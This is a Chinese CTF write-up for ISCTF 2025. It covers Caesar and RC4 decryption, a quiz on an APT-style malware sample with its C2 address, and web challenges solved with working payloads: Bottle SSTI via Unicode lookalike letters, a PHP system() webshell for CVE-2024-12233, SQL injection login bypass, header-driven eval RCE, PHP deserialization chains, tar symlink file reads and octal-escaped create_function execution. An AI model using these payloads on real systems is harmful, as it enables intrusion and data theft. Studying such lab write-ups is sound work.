ISCTF 2025 部分Writeup
SIGNIN
Ez_Caesar
Title
出题人:落书
院校:平顶山学院
难度:签到
题目描述:
小蓝鲨看你们牢底坐穿决定送你们一点分。
Idea
题目附件:
def variant_caesar_encrypt(text):
encrypted = ""
shift = 2
for char in text:
if char.isalpha():
if char.isupper():
base = ord('A')
new_char = chr((ord(char) - base + shift) % 26 + base)
else:
base = ord('a')
new_char = chr((ord(char) - base + shift) % 26 + base)
encrypted += new_char
shift += 3
else:
encrypted += char
return encrypted
# KXKET{Tubsdx_re_hg_zytc_hxq_vnjma}
就是一个凯撒移位
加密过程分析:
- Caesar Cipher (凯撒密码) 变种: 函数的核心是一个凯撒密码的变种。凯撒密码是将字母按照固定的偏移量进行替换。
- 可变偏移量: 这个变种的关键在于偏移量
shift是动态变化的。- 初始偏移量是
shift = 2。 - 对于每一个被加密的字母,在进行加密后,
shift会增加3。
- 初始偏移量是
- 字母处理:
- 只处理字母 (
char.isalpha())。 - 区分大小写:
- 大写字母 (
char.isupper()) 的基准是'A'。 - 小写字母 (
char.islower()) 的基准是'a'。
- 大写字母 (
- 加密公式:
(ord(char) - base + shift) % 26 + baseord(char) - base: 将当前字母的ASCII值转换为相对于字母表开头的偏移量(0-25)。+ shift: 加上当前的偏移量。% 26: 对26取模,确保结果在字母表范围内(循环)。+ base: 将偏移量加回基准ASCII值,得到新的字母的ASCII值。
- 只处理字母 (
- 非字母字符: 非字母字符(数字、符号、空格等)保持不变 (
encrypted += char)。
exp
def variant_caesar_decrypt(text):
decrypted = ""
shift = 2 # 初始移位值
for char in text:
if char.isalpha():
if char.isupper():
base = ord('A')
# 解密:减去 shift,加 26 再取模,确保非负
new_char = chr((ord(char) - base - shift) % 26 + base)
else:
base = ord('a')
new_char = chr((ord(char) - base - shift) % 26 + base)
decrypted += new_char
shift += 3 # 移位值增加,和加密时同步
else:
decrypted += char
return decrypted
encrypted = "KXKET{Tubsdx_re_hg_zytc_hxq_vnjma}"
print(variant_caesar_decrypt(encrypted))
#ISCTF{Caesar_is_so_easy_and_funny}
小蓝鲨的RC4系统
Title
出题人:落书
院校:平顶山学院
难度:签到
题目描述:
送都送了,再给一个。
Idea
import hashlib
class StreamCipher:
def __init__(self, key):
self.S = list(range(256))
self.i = 0
self.j = 0
j = 0
key_bytes = self._key_to_bytes(key)
for i in range(256):
j = (j + self.S[i] + key_bytes[i % len(key_bytes)]) % 256
self.S[i], self.S[j] = self.S[j], self.S[i]
def _key_to_bytes(self, key):
if isinstance(key, str):
return hashlib.sha256(key.encode()).digest()
elif isinstance(key, bytes):
return hashlib.sha256(key).digest()
def _prga(self):
self.i = (self.i + 1) % 256
self.j = (self.j + self.S[self.i]) % 256
self.S[self.i], self.S[self.j] = self.S[self.j], self.S[self.i]
K = self.S[(self.S[self.i] + self.S[self.j]) % 256]
return K
def crypt(self, data):
if isinstance(data, str):
data = data.encode('utf-8')
result = bytearray()
for byte in data:
key_byte = self._prga()
result.append(byte ^ key_byte)
return bytes(result)
def encrypt_string(text, key):
cipher = StreamCipher(key)
encrypted = cipher.crypt(text)
return encrypted.hex()
#ISCTF2025
#ba19a7116763ba8ba1c236c6bdc30187dcc8afb28c8fa5f266763880b74f5fff915613718f4d19c3baf4bbe24bd57303ce103d
看题目是RC4
密钥:ISCTF2025
密文:ba19a7116763ba8ba1c236c6bdc30187dcc8afb28c8fa5f266763880b74f5fff915613718f4d19c3baf4bbe24bd57303ce103d
exp
import hashlib
class StreamCipher:
def __init__(self, key):
self.S = list(range(256)) # 修正初始化错误
self.i = 0
self.j = 0
j = 0
key_bytes = self._key_to_bytes(key)
for i in range(256):
j = (j + self.S[i] + key_bytes[i % len(key_bytes)]) % 256
self.S[i], self.S[j] = self.S[j], self.S[i]
def _key_to_bytes(self, key):
if isinstance(key, str):
return hashlib.sha256(key.encode()).digest()
elif isinstance(key, bytes):
return hashlib.sha256(key).digest()
def _prga(self):
self.i = (self.i + 1) % 256
self.j = (self.j + self.S[self.i]) % 256
self.S[self.i], self.S[self.j] = self.S[self.j], self.S[self.i]
K = self.S[(self.S[self.i] + self.S[self.j]) % 256]
return K
def crypt(self, data):
if isinstance(data, str):
data = data.encode('utf-8')
result = bytearray()
for byte in data:
key_byte = self._prga()
result.append(byte ^ key_byte)
return bytes(result)
def decrypt(encrypted_hex, key):
cipher = StreamCipher(key)
encrypted_data = bytes.fromhex(encrypted_hex)
decrypted_data = cipher.crypt(encrypted_data)
return decrypted_data.decode()
encrypted_hex = "ba19a7116763ba8ba1c236c6bdc30187dcc8afb28c8fa5f266763880b74f5fff915613718f4d19c3baf4bbe24bd57303ce103d"
key = "ISCTF2025"
flag = decrypt(encrypted_hex, key)
print(flag)
#ISCTF{Welcome_to_ISCTF_&_this_is_a_secret_with_RC4}
病毒分析
Title
注1:本题通过模仿某近期活跃的APT(Advanced Presistent Threat,高级持续性威胁)组织的攻击手法,使题目更符合真实环境,题目设计为不会对系统进行破坏,即使真机运行也不影响,清除方法将在官方wp中给出 注2:为使题目正常运行,请将文件解压到C:\Windows\System32中 注3:本系列除最后一题外其他题目均为问答,不需要包裹ISCTF{}
出题人:f00001111
学校:大理大学
题目列表:
1、题目模仿的APT组织中文代号为
2、第一阶段载荷中的入口文件全名为
3、第一阶段中使用了一个带有数字签名的文件(非系统文件),其中签名者名称为(完整复制)
4、第一阶段中恶意载荷释放的文件名分别为(提交三次,每次一个文件名)
5、第二阶段使用了一种常见的白加黑技巧,其中黑文件名为
6、第二阶段对下一阶段载荷进行了简单的保护,保护使用的算法为
7、第二阶段对下一阶段载荷进行了简单的保护,保护使用的密码为
8、第三阶段载荷使用了一种开源的保护工具,工具英文缩写为
9、第三阶段载荷首次回连域名为
10、第三阶段载荷获取命令的回连地址为(格式:IP:端口)
11、第三阶段载荷获取命令时发送的内容为
12、访问最终回连地址得到flag
霍雅师傅的讲解:
ISCTF 2025 reverse&病毒分析wp - 霍雅的博客
1、海莲花
2、ISCTF基础规则说明文档.pdf.lnk
3、Zoom Video Communications, Inc.
4、zRCAppCore.dll、zRC.dat、ISCTF2025基础规则说明文档.pdf
5、zRCAppCore.dll
6、XOR
7、tf7*TV&8u
8、upx
9、colonised-my.sharepoint.com
10、47.252.28.78:37204
11、get_cmd
12、ISCTF{Wow!_Y0u_F0uNd_C2_AdDr3sssss!}
web
难过的bottle
Title
出题人:Twansh
院校:福建理工大学
难度:简单
题目描述:小蓝鲨发明的zip在线解压器有点奇怪
附件:
from bottle import route, run, template, post, request, static_file, error
import os
import zipfile
import hashlib
import time
import shutil
# hint: flag is in /flag
UPLOAD_DIR = 'uploads'
os.makedirs(UPLOAD_DIR, exist_ok=True)
MAX_FILE_SIZE = 1 * 1024 * 1024 # 1MB
BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]
def contains_blacklist(content):
"""检查内容是否包含黑名单中的关键词(不区分大小写)"""
content = content.lower()
return any(black_word in content for black_word in BLACKLIST)
def safe_extract_zip(zip_path, extract_dir):
"""安全解压ZIP文件(防止路径遍历攻击)"""
with zipfile.ZipFile(zip_path, 'r') as zf:
for member in zf.infolist():
member_path = os.path.realpath(os.path.join(extract_dir, member.filename))
if not member_path.startswith(os.path.realpath(extract_dir)):
raise ValueError("非法文件路径: 路径遍历攻击检测")
zf.extract(member, extract_dir)
@route('/')
def index():
"""首页"""
return '''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>ZIP文件查看器</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <link rel="stylesheet" href="/static/css/style.css"></head>
<body>
<div class="header text-center"> <div class="container"> <h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
<p class="lead">安全地上传和查看ZIP文件内容</p>
</div> </div> <div class="container"> <div class="row justify-content-center" id="index-page"> <div class="col-md-8 text-center"> <div class="card"> <div class="card-body p-5"> <div class="emoji-icon">📤</div>
<h2 class="card-title">轻松查看ZIP文件内容</h2>
<p class="card-text">上传ZIP文件并安全地查看其中的内容,无需解压到本地设备</p>
<div class="mt-4"> <a href="/upload" class="btn btn-primary btn-lg px-4 me-3"> 📁 上传ZIP文件
</a> <a href="#features" class="btn btn-outline-secondary btn-lg px-4"> ℹ️ 了解更多
</a> </div> </div> </div> </div> </div> <div class="row mt-5" id="features"> <div class="col-md-4 mb-4"> <div class="card h-100"> <div class="card-body text-center p-4"> <div class="emoji-icon">🛡️</div>
<h4>安全检测</h4>
<p>系统会自动检测上传文件,防止路径遍历攻击和恶意内容</p>
</div> </div> </div> <div class="col-md-4 mb-4"> <div class="card h-100"> <div class="card-body text-center p-4"> <div class="emoji-icon">📄</div>
<h4>内容预览</h4>
<p>直接在线查看ZIP文件中的文本内容,无需下载</p>
</div> </div> </div> <div class="col-md-4 mb-4"> <div class="card h-100"> <div class="card-body text-center p-4"> <div class="emoji-icon">⚡</div> <h4>快速处理</h4>
<p>高效处理小于1MB的ZIP文件,快速获取内容</p>
</div> </div> </div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script></body>
</html>
'''
@route('/upload')
def upload_page():
"""上传页面"""
return '''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>上传ZIP文件</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <link rel="stylesheet" href="/static/css/style.css"></head>
<body>
<div class="header text-center"> <div class="container"> <h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
<p class="lead">安全地上传和查看ZIP文件内容</p>
</div> </div> <div class="container mt-4"> <div class="row justify-content-center"> <div class="col-md-8"> <div class="card"> <div class="card-header bg-primary text-white"> <h4 class="mb-0">📤 上传ZIP文件</h4>
</div> <div class="card-body"> <form action="/upload" method="post" enctype="multipart/form-data" class="upload-form"> <div class="mb-3"> <label for="fileInput" class="form-label">选择ZIP文件(最大1MB)</label>
<input class="form-control" type="file" name="file" id="fileInput" accept=".zip" required> <div class="form-text">仅支持.zip格式的文件,且文件大小不超过1MB</div>
</div> <button type="submit" class="btn btn-primary w-100"> 📤 上传文件
</button> </form> </div> </div> <div class="text-center mt-4"> <a href="/" class="btn btn-outline-secondary"> ↩️ 返回首页
</a> </div> </div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script></body>
</html>
'''
@post('/upload')
def upload():
"""处理文件上传"""
zip_file = request.files.get('file')
if not zip_file or not zip_file.filename.endswith('.zip'):
return '请上传有效的ZIP文件'
zip_file.file.seek(0, 2)
file_size = zip_file.file.tell()
zip_file.file.seek(0)
if file_size > MAX_FILE_SIZE:
return f'文件大小超过限制({MAX_FILE_SIZE/1024/1024}MB)'
timestamp = str(time.time())
unique_str = zip_file.filename + timestamp
dir_hash = hashlib.md5(unique_str.encode()).hexdigest()
extract_dir = os.path.join(UPLOAD_DIR, dir_hash)
os.makedirs(extract_dir, exist_ok=True)
zip_path = os.path.join(extract_dir, 'uploaded.zip')
zip_file.save(zip_path)
try:
safe_extract_zip(zip_path, extract_dir)
except (zipfile.BadZipFile, ValueError) as e:
shutil.rmtree(extract_dir)
return f'处理ZIP文件时出错: {str(e)}'
files = [f for f in os.listdir(extract_dir) if f != 'uploaded.zip']
return template('''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>上传成功</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <link rel="stylesheet" href="/static/css/style.css"></head>
<body>
<div class="header text-center"> <div class="container"> <h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
<p class="lead">安全地上传和查看ZIP文件内容</p>
</div> </div>
<div class="container mt-4"> <div class="row justify-content-center"> <div class="col-md-8"> <div class="card"> <div class="card-header bg-success text-white"> <h4 class="mb-0">✅ 上传成功!</h4>
</div> <div class="card-body"> <div class="alert alert-success" role="alert"> ✅ 文件已成功上传并解压
</div>
<h5>文件列表:</h5>
<ul class="list-group mb-4"> % for file in files: <li class="list-group-item d-flex justify-content-between align-items-center"> <span>📄 {{file}}</span> <a href="/view/{{dir_hash}}/{{file}}" class="btn btn-sm btn-outline-primary"> 查看
</a> </li> % end </ul>
% if files: <div class="d-grid gap-2"> <a href="/view/{{dir_hash}}/{{files[0]}}" class="btn btn-primary"> 👀 查看第一个文件
</a> </div> % end </div> </div>
<div class="text-center mt-4"> <a href="/upload" class="btn btn-outline-primary me-2"> ➕ 上传另一个文件
</a> <a href="/" class="btn btn-outline-secondary"> 🏠 返回首页
</a> </div> </div> </div> </div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script></body>
</html>
''', dir_hash=dir_hash, files=files)
@route('/view/<dir_hash>/<filename:path>')
def view_file(dir_hash, filename):
file_path = os.path.join(UPLOAD_DIR, dir_hash, filename)
if not os.path.exists(file_path):
return "文件不存在"
if not os.path.isfile(file_path):
return "请求的路径不是文件"
real_path = os.path.realpath(file_path)
if not real_path.startswith(os.path.realpath(UPLOAD_DIR)):
return "非法访问尝试"
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
except:
try:
with open(file_path, 'r', encoding='latin-1') as f:
content = f.read()
except:
return "无法读取文件内容(可能是二进制文件)"
if contains_blacklist(content):
return "文件内容包含不允许的关键词"
try:
return template(content)
except Exception as e:
return f"渲染错误: {str(e)}"
@route('/static/<filename:path>')
def serve_static(filename):
"""静态文件服务"""
return static_file(filename, root='static')
@error(404)
def error404(error):
return "讨厌啦不是说好只看看不摸的吗"
@error(500)
def error500(error):
return "不要透进来啊啊啊啊"
if __name__ == '__main__':
os.makedirs('static', exist_ok=True)
#原神,启动!
run(host='0.0.0.0', port=5000, debug=False)
Idea
进入页面,发现这是一个基于 Python Bottle 框架开发的 ZIP 文件查看器。

上传一个zip,被拦了

分析附件源码
源代码中:
# hint: flag is in /flag
在源码的 /view/<dir_hash>/<filename:path> 路由中,存在以下代码:
try:
return template(content)
except Exception as e:
return f"渲染错误: {str(e)}"
content是用户上传的文件内容如果传入的 content包含 Bottle 模板语法,Bottle 会将其解析为 Python 代码并在服务端执行,content 完全由用户控制,由此造成了ssti漏洞。
分析黑名单
BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]
大部分关键词被禁用了
但有一下可以字符
- 字母:
a,f,g,l - 符号:
_,.,(,),[,],{,},',",+,-,*,/,\
Python 3 在处理标识符)时,支持 Unicode Normalization (NFKC)。意味着某些看起来像字母的特殊 Unicode 字符(如上标、斜体、粗体字符),在 Python 解析器眼中等同于标准的 ASCII 字母。 - 字符
ᵉ(U+1D49) 在 Python 代码中会被视为e。 - 字符
ᵒ(U+1D52) 在 Python 代码中会被视为o。
因此,我们可以构造一个包含特殊 Unicode 字符的 Payload:
{{ ᵒᵖᵉⁿ('/flag').ʳᵉaᵈ() }}
exp
import zipfile
import os
# 原代码: {{ open('/flag').read() }}
# o -> ᵒ (\u1d52)
# p -> ᵖ (\u1d56)
# e -> ᵉ (\u1d49)
# n -> ⁿ (\u207f)
# r -> ʳ (\u02b3)
# d -> ᵈ (\u1d48)
payload = "{{ ᵒᵖᵉⁿ('/flag').ʳᵉaᵈ() }}"
filename = "exploit.txt"
with open(filename, "w", encoding="utf-8") as f:
f.write(payload)
zip_name = "payload.zip"
with zipfile.ZipFile(zip_name, 'w') as zf:
zf.write(filename)
print(f"已生成 {zip_name},Payload: {payload}")
os.remove(filename)
将代码生成的zip上传

b@by n0t1ce b0ard
Title
出题人: LamentXU
院校:无
难度:签到
题目描述:
在你以后的 CTF 历程中,你会遇到不少的大型 php 项目审计。
然而,大多数情况下,你不一定需要完全自己审计出一个原创的漏洞(0day),而是可以利用已有的漏洞进行攻击(nday)。
CVE 是这个世界上最大的漏洞数据库。复现 CVE 是每一个 web 手不可或缺的能力。接下来,尝试用好你的 google,去复现一个已经发布的 php 项目漏洞。
CVE 编号:CVE-2024-12233
Idea
这题是一道签到题,网上能找到现成的exp
搜索引擎:CVE-2024-12233
找到CVE-2024-12233 - 漏洞详情 - OpenCVE
发现了LamentXU师傅的github仓库cve/RCE1.md at main · LamentXU123/cve

照着复现就好了
exp
上传一句话木马
<?php
if ($_REQUEST['s']) {
system($_REQUEST['s']);
} else {
phpinfo();
}
?>
访问文件路径/images/test/1.php?s=执行命令



flag到底在哪
Title
出题人:fortuneh2c
院校:山西师范大学
难度:简单
题目描述:小蓝鲨部署了一个网页项目,但是怎么403啊,好像什么爬虫什么的
hint:小蓝鲨说账户必须是admin哦,不要在用户名上做尝试啦! 如果要使用逻辑运算符请使用大写
Idea
根据题目描述,访问robots.txt]]

进入/admin/login.php

有一个登录页面,提示用户名是:admin
尝试SQL注入无果,尝试使用 SQL 注入万能密码进行登录' OR '1'='1
登录成功,跳转至/upload.php页面
上传一句话木马PHP图片]]

上传成功,访问webshell

exp
执行命令ls

执行命令ls /
发现没有flag

执行命令cat /start.sh
发现flag在/home/flag

cat /home/flag

ezrce
Title
出题人:f1@g
院校:信阳师范大学
难度:简单
题目描述:如此ez的rce,补兑,怎么只允许这些?
Idea
进入页面可见源码
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])){
$code = $_GET['code'];
if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
eval($code);
}else{
die('师傅,你想拿flag?');
}
}
漏洞点eval($code)
preg_match('/^[A-Za-z\(\)_;]+$/', $code)只允许字母(A-Z a-z)、圆括号 ()、下划线 _、和分号 ;。
因此不能使用数字、美元符号 $(变量)、引号 '"、空格、点 . 等。
这里我们可利用到多个函数进行绕过
getallheaders():返回服务器接收到的请求头数组(键 => 值)。current()/pos():返回数组当前元素(通常是第一个)。end():将指针移动到数组最后一个单元并返回其值。system():执行命令。
在code参数中调用system(current(getallheaders()));(或system(end(getallheaders()));,取决于我们能控制的头部位置),这样就能把 header 的值作为命令执行。
exp
首先查看getallheaders()返回的头部顺序(以确定使用current()或end()):
curl 'http://challenge.bluesharkinfo.com:30966/?code=print_r(getallheaders());' -H 'X-Cmd: ls /'

可以看到自定义的 X-Cmd 出现在数组的第一个位置,因此可用 current(getallheaders()) 取得它的值。
构造执行命令的 code 参数并发送请求:
curl 'http://challenge.bluesharkinfo.com:25944/?code=system(current(getallheaders()));' -H 'X-Cmd: cat /flag'

来签个到吧
Title
出题人:卡奇
院校:无
难度:简单
题目描述:小蓝鲨邀请你来打CTF😋
附件ez_unserialize.tar
Idea
源代码在附件的/src目录下

对源代码文件进行分析
1、index.php
- 输入以
blueshark:开头,会截取后半段并调用unserialize()。 - 将序列化字符串写入数据库
notes表。 - 页面会把数据库中最近的记录以
htmlspecialchars显示在页面上。
2、api.php - 通过
id从数据库读取content,然后直接unserialize()。 - 如果反序列化结果是
ShitMountant的实例,则调用$cfg->fetch()并输出其返回内容。
3、classes.php - 定义了两个类:
FileLogger和ShitMountant。 ShitMountant:- 属性:
$url、$logger。 - 方法:
fetch()使用file_get_contents($this->url)获取内容,并可通过 logger 写日志。 __destruct()会调用fetch()。
- 属性:
FileLogger负责向文件追加写日志,__destruct()也会写入内容。
总结:
api.php会对数据库中content字段不可信的数据直接unserialize()
classes.php中的类包含会执行 I/O 的方法(file_get_contents),这些会在对象方法中被调用或在__destruct()中触发
因而可以通过构造ShitMountant对象并将url指向服务器本地敏感文件,在反序列化后触发读取并返回文件内容。
payload:
1、构造一个ShitMountant对象:url设置为需要读取的路径(本题为/flag)。logger可以是FileLogger的对象,可设置一个logfile。
2、序列化该对象,得到字符串。
3、按index.php要求,提交shark参数,内容以blueshark:开头并跟上序列化串,这会将序列化串写入notes表。
4、访问api.php?id=<插入的记录 id>,api.php会unserialize()该记录并在类型是ShitMountant时调用fetch(),将/flag的内容读入并输出。
exp
<?php
class FileLogger {
public $logfile = "/tmp/notehub.log";
public $content = "";
}
class ShitMountant {
public $url;
public $logger;
}
$s = new ShitMountant();
$s->url = "/flag";
$s->logger = new FileLogger();
echo serialize($s);
?>
本地运行生成序列化字符串:
O:12:"ShitMountant":2:{s:3:"url";s:5:"/flag";s:6:"logger";O:10:"FileLogger":2:{s:7:"logfile";s:16:"/tmp/notehub.log";s:7:"content";s:0:"";}}
post发送序列化字符串

访问/api.php?id=1

flag?我就借走了
Title
出题人:糖糖毬
院校:江西财经大学
难度:简单
题目描述:小蓝鲨建了一个资源站,它还很贴心的支持了多种文件格式,甚至能自动解压!小蓝鲨还是太贴心了
Idea
进入页面,是一个文件上传,支持上传.png .avif .webp .gif .jxl .txt文件,打包格式用tar

上传一个text.tar,成功解压文件,并能通过 /download/test.txt 下载。

通过 /download/../../etc/passwd 进行路径遍历失败,页面/接口会过滤 .. 和 /。
由此实现此功能的关键源码大致为:
if file.filename.endswith(".tar"):
try:
with tarfile.open(file_save_path, "r") as tf:
tf.extractall(app.config["UPLOAD_FOLDER"])
os.remove(file_save_path)
except Exception as e:
@app.route("/download/<filename>")
def download_file(filename):
if ".." in filename or "/" in filename:
return "欸,不能欺骗人家呀"
filepath = os.path.join(app.config["UPLOAD_FOLDER"], filename)
if not os.path.exists(filepath) or not os.path.isfile(filepath):
return "文件不存在"
return send_file(filepath, as_attachment=False)
- 解压时使用了
tarfile.open(...); tf.extractall(upload_dir),未对条目名或符号链接进行过滤或安全检查。 - 下载接口
/download/<filename>会检查..和/,但在拼接路径后直接使用send_file(filepath)返回文件内容,send_file会跟随符号链接去读取目标文件。
extractall不阻止符号链接的写入,send_file会跟随符号链接,这就形成了任意读取的链条。
- 在 tar 包中创建符号链接(symlink),指向服务器上的敏感文件。
- 上传并解压后,上传目录内将出现该符号链接文件。
- 通过
/download/<symlink_name>请求该文件,服务器会读取符号链接指向的内容并返回,即泄露目标文件内容。
exp
import tarfile
with tarfile.open("payload.tar", "w") as tar:
info = tarfile.TarInfo("paylaod.txt")
info.type = tarfile.SYMTYPE
info.linkname = "/flag"
tar.addfile(info)
print("paylaod.tar")
上传payload.tar,访问payload.txt即可]]

Who am I
Title
出题人:duu
院校:河南理工大学
难度:简单
题目描述:小蓝鲨做了一个半成品系统,但似乎很容易获取到敏感信息
Idea
访问网站,是一个登录页面。查看页面源代码和相关资源文件。

正常登录注册,没发现什么有用的东西]]

返回登录页面,在登录页面的源代码中发现引用了一个 JavaScript 文件 /static/js/malniest.e19a0e13.js。分析该 JS 文件,发现了一段有趣的代码:
function ensureTypeHidden() {
const form = DOM.qs("form[action='/login'][method='POST']");
if (!form) return;
let hidden = form.querySelector("input[name='type']");
if (!hidden) {
hidden = DOM.el("input", { type: "hidden", name: "type", value: "1" });
form.appendChild(hidden);
}
// ...
}
这段代码在登录表单中强制添加了一个隐藏字段 type,默认值为 1。这个 type 字段可能控制着用户的权限或角色。
重新注册一个账号进行登录,抓包修改type的值,将 type=1 修改为 type=0。]]

登录成功后,302跳转到了一个路径/272e1739b89da32e983970ece1a086bd,而不是普通用户的 /user_dashboard。]]

mian.py的源码

分析mian.py,存在
1、原型链污染 (/operate)
@app.route('/operate',methods=['GET'])
def operate():
username=request.args.get('username')
password=request.args.get('password')
confirm_password=request.args.get('confirm_password')
if username in globals() and "old" not in password:
Username=globals()[username]
try:
pydash.set_(Username,password,confirm_password)
return "oprate success"
except:
return "oprate failed"
else:
return "oprate failed"
这里使用了 pydash.set_,并且允许用户指定 globals() 中的任意对象作为目标。app 对象(Flask 实例)就在全局变量中。这意味着我们可以修改 Flask 应用的配置或属性。
2、任意模板渲染 (/impression)
@app.route('/impression',methods=['GET'])
def impression():
point=request.args.get('point')
if len(point) > 5:
return "Invalid request"
List=["{","}",".","%","<",">","_"]
for i in point:
if i in List:
return "Invalid request"
return render_template(point)
这个路由接受 point 参数并直接传入 render_template。虽然有长度限制和特殊字符过滤(防 SSTI),但如果我们可以控制模板加载的路径,就可以利用它来读取文件。
exp
Flask 使用 Jinja2 作为模板引擎。模板加载器通常配置在 app.jinja_loader 中。我们可以尝试修改 app.jinja_loader.searchpath,将其指向根目录 /。这样,当我们请求渲染模板 flag 时,Flask 就会去根目录下寻找名为 flag 的文件并渲染它。
构造请求,将 app.jinja_loader.searchpath 设置为 /。
访问/operate?username=app&password=jinja_loader.searchpath&confirm_password=/

修改成功
访问 /impression 接口,参数 point=flag。
/impression?point=flag

Bypass
Title
出题人:BR
院校:西安理工大学
难度:中等
题目描述:How to bypass?
附件:Bypass-docker.zip
Idea
分析附件源码index.php
<?php
class FLAG
{
private $a;
protected $b;
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
$this->check($a,$b);
eval($a.$b);
}
public function __destruct(){
$a = (string)$this->a;
$b = (string)$this->b;
if ($this->check($a,$b)){
$a("", $b);
}
else{
echo "Try again!";
}
}
private function check($a, $b) {
$blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];
$blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\.\.', 'array', 'sh', 'touch', 'e', 'php', 'f'];
$pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i';
$pattern_b = '/' . implode('|', array_map('preg_quote', $blocked_b, ['/'])) . '/i';
if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) {
return false;
}
return true;
}
}
if (isset($_GET['exp'])) {
$p = unserialize($_GET['exp']);
var_dump($p);
}else{
highlight_file("index.php");
}
- 反序列化入口:
unserialize($_GET['exp'])允许攻击者控制FLAG对象的私有属性$a和保护属性$b。 - 析构函数利用:
__destruct方法在对象销毁时触发,执行$a("", $b)。这是一个典型的动态函数执行点。 - 过滤:
$blocked_a封锁了直接执行命令的函数。$blocked_b极其严格,封锁了几乎所有组成常用命令(如cat,ls)的字符。
$blocked_a 过滤了 system, exec, passthru 等,但遗漏了 create_function。
- 原理:
create_function('$args', '$code')会创建一个匿名函数,其内部逻辑相当于eval($code)。 - 利用: 当
$a为create_function时,$a("", $b)等价于create_function("", $b)。这将把$b的内容作为函数体代码进行解析。
$blocked_b过滤了c,a,t,f,l,g等字符,导致无法直接写入system('cat /flag')。
PHP 字符串支持 八进制转义 (Octal Escape Sequences),\ooo(如\163)会被解析为对应的 ASCII 字符,以此绕过正则,从而执行命令。
exp
将执行命令的代码转为八进制 system->\163\171\163\164\145\155cat /flag->\143\141\164\040\057\146\154\141\147
<?php
class FLAG {
private $a;
protected $b;
public function __construct($a, $b) {
$this->a = $a;
$this->b = $b;
}
}
$a = "create_function";
$b = '} $x="\163\171\163\164\145\155";$x("\143\141\164\040\057\146\154\141\147"); /*';
$f = new FLAG($a, $b);
echo urlencode(serialize($f));
?>
payload:
O%3A4%3A%22FLAG%22%3A2%3A%7Bs%3A7%3A%22%00FLAG%00a%22%3Bs%3A15%3A%22create_function%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A78%3A%22%7D+%24x%3D%22%5C163%5C171%5C163%5C164%5C145%5C155%22%3B%24x%28%22%5C143%5C141%5C164%5C040%5C057%5C146%5C154%5C141%5C147%22%29%3B+%2F%2A%22%3B%7D

ezpop
Title
出题人:winter
院校:福建师范大学
难度:中等
题目描述:单身的小蓝鲨自己构造了很多很多对象,但是他忘记了构造对象时还需要考虑类的问题
附件ezpop:
<?php
error_reporting(0);
class begin {
public $var1;
public $var2;
function __construct($a)
{
$this->var1 = $a;
}
function __destruct() {
echo $this->var1;
}
public function __toString() {
$newFunc = $this->var2;
return $newFunc();
}
}
class starlord {
public $var4;
public $var5;
public $arg1;
public function __call($arg1, $arg2) {
$function = $this->var4;
return $function();
}
public function __get($arg1) {
$this->var5->ll2('b2');
}
}
class anna {
public $var6;
public $var7;
public function __toString() {
$long = @$this->var6->add();
return $long;
}
public function __set($arg1, $arg2) {
if ($this->var7->tt2) {
echo "yamada yamada";
}
}
}
class eenndd {
public $command;
public function __get($arg1) {
if (preg_match("/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i", $this->command)){
echo "nonono";
}else {
eval($this->command);
}
}
}
class flaag {
public $var10;
public $var11="1145141919810";
public function __invoke() {
if (md5(md5($this->var11)) == 666) {
return $this->var10->hey;
}
}
}
if (isset($_POST['ISCTF'])) {
unserialize($_POST["ISCTF"]);
}else {
highlight_file(__FILE__);
}
Idea
对ez.php进行分析:
1、class begin
__construct($a): 设置$var1__destruct():echo $this->var1;。对象销毁时会输出$var1;若$var1是对象,会触发该对象的__toString()。__toString():$newFunc = $this->var2; return $newFunc();若$var2是可调用对象,会触发其__invoke()。
2、class eenndd- public $command;
__get($arg1): 检查$this->command中是否包含黑名单关键词(包括 flag/system/cat/php 等),若通过则eval($this->command);- 这是最终
sink(执行点),会执行eval()。注意:这里检查是正则匹配,黑名单方式。
3、class flaag public $var10;public $var11 = "1145141919810";__invoke():if (md5(md5($this->var11)) == 666) { return $this->var10->hey; }- 这是一个关键“条件分支”——只有当 md5(md5(var11)) == 666(弱类型比较)时才返回 var10->hey,从而进一步触发 var10 的 __get。
pop链构造:
